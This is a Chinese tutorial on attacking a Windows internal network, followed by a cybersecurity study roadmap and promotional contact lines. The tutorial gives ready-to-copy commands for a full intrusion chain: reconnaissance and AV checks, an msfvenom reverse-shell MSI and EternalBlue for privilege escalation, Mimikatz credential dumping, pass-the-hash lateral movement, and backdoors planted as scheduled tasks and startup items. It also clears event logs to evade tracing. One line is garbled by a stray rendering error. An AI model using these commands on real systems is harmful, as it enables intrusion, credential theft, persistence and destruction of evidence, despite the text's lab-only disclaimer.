前言内网渗透是Web安全、网络安全领域的核心技能也是企业安全防护的重点痛点。不同于外网渗透的“单点突破”内网渗透更注重“思路实操隐蔽性”核心是从已拿下的跳板机出发逐步渗透整个内网最终控制核心资产如域控制器、敏感服务器。本文摒弃冗余理论全程干货聚焦新手能直接套用的实战流程、命令和工具适合零基础入门也可作为老手的实操参考看完就能在靶场动手练习。一、内网渗透核心前提必看避免走弯路内网渗透的核心前提的是“拥有初始入口”——即已获取内网某一台机器的低权限Shell如webshell、Meterpreter Shell这一步通常通过外网渗透、钓鱼攻击、弱口令爆破等方式实现。本文基于“已获取Windows跳板机低权限Shell”的场景讲解后续完整渗透流程所有操作均需在授权靶场进行严禁用于未授权环境触犯法律后果自负。新手必备环境Kali Linux攻击机、Windows虚拟机跳板机靶机、常用工具Mimikatz、Impacket、WinPEAS等文末附工具获取方式。二、内网渗透实战流程干货核心一步不落内网渗透的标准闭环流程信息收集 → 权限提升 → 横向移动 → 权限维持 → 痕迹清理每一步都有明确的目标和实操技巧下面逐一步讲解附带具体命令新手可直接复制使用。一信息收集渗透的“第一步也是最关键一步”信息收集的核心目标摸清内网的“底细”明确“能渗透什么、怎么渗透”避免盲目操作。重点收集3类信息全部用Windows自带命令或轻量工具实现无需复杂配置。1. 本机信息收集确认自身权限和可操作范围核心命令直接在Shell中执行查看当前用户及权限whoami核心命令判断是否为普通用户/管理员如“test\user”为普通用户查看用户权限详情whoami /priv判断是否有提权可能如显示“SeSecurityPrivilege”则有提权潜力查看系统版本和补丁systeminfo | findstr /i 系统版本 补丁补丁越少提权漏洞越多重点关注是否缺失MS17-010、CVE-2021-1675等经典漏洞补丁查看运行进程排查安全软件tasklist | findstr /i 360 火绒 卡巴斯基若有安全软件需先规避或关闭2. 网络信息收集摸清内网网段和存活主机核心命令查看本机IP、网关、DNSipconfig /all确认内网网段如“192.168.10.0/24”网关“192.168.10.1”批量探测内网存活主机for /l %i in (1,1,254) do ping -n 1 192.168.10.%i | findstr TTL替换网段为自身内网快速筛选存活主机查看内网路由和连接route print判断是否有多个子网扩大渗透范围查看开放端口netstat -ano查看本机开放端口以及连接的远程主机寻找可利用的端口3. 域信息收集若存在域环境重点关注企业内网90%为域环境拿下域控制器就等于控制整个内网核心命令判断是否存在域net config workstation筛选“工作站域”有显示域名称则为域环境如“test.com”查看域控制器DCnltest /DCLIST:test.com替换域名称获取DC的IP和名称核心渗透目标查看域管理员net localgroup administrators /domain筛选域管理员账号如“test\admin”工具推荐WinPEAS一键扫描所有信息生成详细报告新手无需手动输入命令直接上传执行即可。二权限提升从“低权限”到“系统权限”的突破拿到低权限Shell后无法进行横向移动、抓取凭据等操作必须提升到管理员Admin或系统System权限。新手优先尝试“配置错误提权”成功率高、操作简单再尝试“系统漏洞提权”以下是2种最常用、成功率最高的提权方式。1. 配置错误提权新手首选AlwaysInstallElevated原理管理员配置不当开启“AlwaysInstallElevated”策略普通用户可通过安装MSI包以System权限执行命令。实操步骤Meterpreter Shell中检测是否开启该配置reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated返回“0x1”则可提权攻击机生成MSI提权包msfvenom -p windows/meterpreter/reverse_tcp LHOST攻击机IP LPORT8888 -f msi -o priv.msi上传MSI包到跳板机upload /root/priv.msi执行提权msiexec /quiet /qn /i priv.msi等待反弹Shell执行whoami确认权限为“NT AUTHORITY\SYSTEM”提权成功。2. 系统漏洞提权经典MS17-010适用场景Windows 7、Windows Server 2008等未安装MS17-010补丁的机器实操步骤MSF框架启动MSFmsfconsole加载模块use exploit/windows/smb/ms17_010_eternalblue设置目标IPset RHOSTS 跳板机IP设置payloadset PAYLOAD windows/meterpreter/reverse_tcp设置攻击机IPset LHOST 攻击机IP执行攻击exploit成功后直接获取System权限三横向移动从“单台机器”到“控制全网”拿到System权限后核心目标是“横向移动”——利用抓取到的凭据渗透内网其他机器最终找到域控制器。核心逻辑是“凭据复用”以下是最常用、最隐蔽的2种横向移动方式。1. 凭据抓取横向移动的前提用Mimikatz抓取跳板机上的用户凭据明文密码、NTLM哈希步骤上传Mimikatzupload /root/mimikatz.exe执行Mimikatzmimikatz.exe提升权限privilege::debug抓取凭据sekurlsa::logonpasswords记录下域管理员的NTLM哈希如“32ed87bdb5fdc5e9cba88547376818d4”2. 哈希传递PTH横向移动无明文密码也能渗透利用抓取到的NTLM哈希通过SMB协议渗透其他内网机器工具Impacket的wmiexec.exe命令wmiexec.exe -hashes :NTLM哈希 域名称\用户名目标机器IP whoami示例wmiexec.exe -hashes :32ed87bdb5fdc5e9cba88547376818d4 test\admin192.168.10.100 whoami若返回“test\admin”说明已成功渗透目标机器域控制器横向移动成功。四权限维持长期控制避免被清理渗透成功后需建立“持久化后门”确保后续能持续访问目标内网避免被管理员清理。推荐2种隐蔽性强、新手易操作的方式计划任务后门schtasks /create /tn WindowsUpdate /tr C:\backdoor.exe /sc onstart /ru system /f创建开机自启计划任务执行后门程序隐蔽性强启动项后门将后门程序复制到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp开机自动执行适合Windows 10/11系统五痕迹清理避免被溯源全身而退渗透完成后必须清理所有操作痕迹否则极易被管理员发现核心清理3类痕迹日志清理Windows清理系统日志wevtutil cl System清理安全日志wevtutil cl Security清理应用程序日志wevtutil cl Application进程和连接清理结束Mimikatz、后门等进程taskkill /f /im mimikatz.exe删除IPCKaTeX parse error: Undefined control sequence: \ipc at position 19: …net use \\目标IP\̲i̲p̲c̲/del文件清理删除上传的工具、后门程序避免留下痕迹。三、新手必避的5个坑干货预警直接操作未授权机器内网渗透涉及权限获取、命令执行极易触犯法律新手务必使用虚拟机靶场如Metasploitable、域环境靶场练习。忽视信息收集上来就提权、横向移动导致思路混乱信息收集是渗透的第一步也是最关键的一步。过度依赖工具只会点击工具按钮不懂命令原理遇到工具失效就无法继续新手需先掌握基础命令再学习工具使用。不清理痕迹即使是靶场练习也要养成“痕迹清理”的习惯避免后续在真实场景中遗漏。跳过基础学习直接学习黄金票据、无文件攻击等复杂技术基础不扎实后续学习会非常吃力建议从流程、命令开始逐步进阶。四、必备工具汇总新手直接获取凭据抓取Mimikatz经典工具支持抓取明文、哈希、票据信息收集WinPEAS、LinPEASWindows/Linux通用一键扫描横向移动Impacket工具集wmiexec、psexec核心工具漏洞提权MSF框架自带各类提权模块新手必备靶场推荐Metasploitable 3、域环境靶场VMware搭建模拟真实内网总结内网渗透的核心不是“工具越复杂越好”而是“思路清晰、操作规范、隐蔽性强”。新手入门的关键是先掌握“信息收集→提权→横向移动”的基础流程熟记常用命令在靶场反复练习逐步掌握复杂技术。记住内网渗透的本质是“寻找漏洞、复用凭据、隐蔽操作”只要耐心练习新手也能快速上手。网络安全的知识多而杂怎么科学合理安排下面给大家总结了一套适用于网安零基础的学习路线应届生和转行人员都适用学完保底6k就算你底子差如果能趁着网安良好的发展势头不断学习日后跳槽大厂、拿到百万年薪也不是不可能初级网工1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗【“脚本小子”成长进阶资源领取】7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级网工这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。感兴趣的童鞋可以研究一下不懂得地方可以【点这里】加我耗油跟我学习交流一下。网络安全工程师企业级学习路线如图片过大被平台压缩导致看不清的话可以【点这里】加我耗油发给你大家也可以一起学习交流一下。一些我自己买的、其他平台白嫖不到的视频教程需要的话可以扫描下方卡片加我耗油发给你都是无偿分享的大家也可以一起学习交流一下。结语网络安全产业就像一个江湖各色人等聚集。相对于欧美国家基础扎实懂加密、会防护、能挖洞、擅工程的众多名门正派我国的人才更多的属于旁门左道很多白帽子可能会不服气因此在未来的人才培养和建设上需要调整结构鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”才能解人才之渴真正的为社会全面互联网化提供安全保障。特别声明此教程为纯技术分享本书的目的决不是为那些怀有不良动机的人提供及技术支持也不承担因为技术被滥用所产生的连带责任本书的目的在于最大限度地唤醒大家对网络安全的重视并采取相应的安全措施从而减少由网络安全而带来的经济损失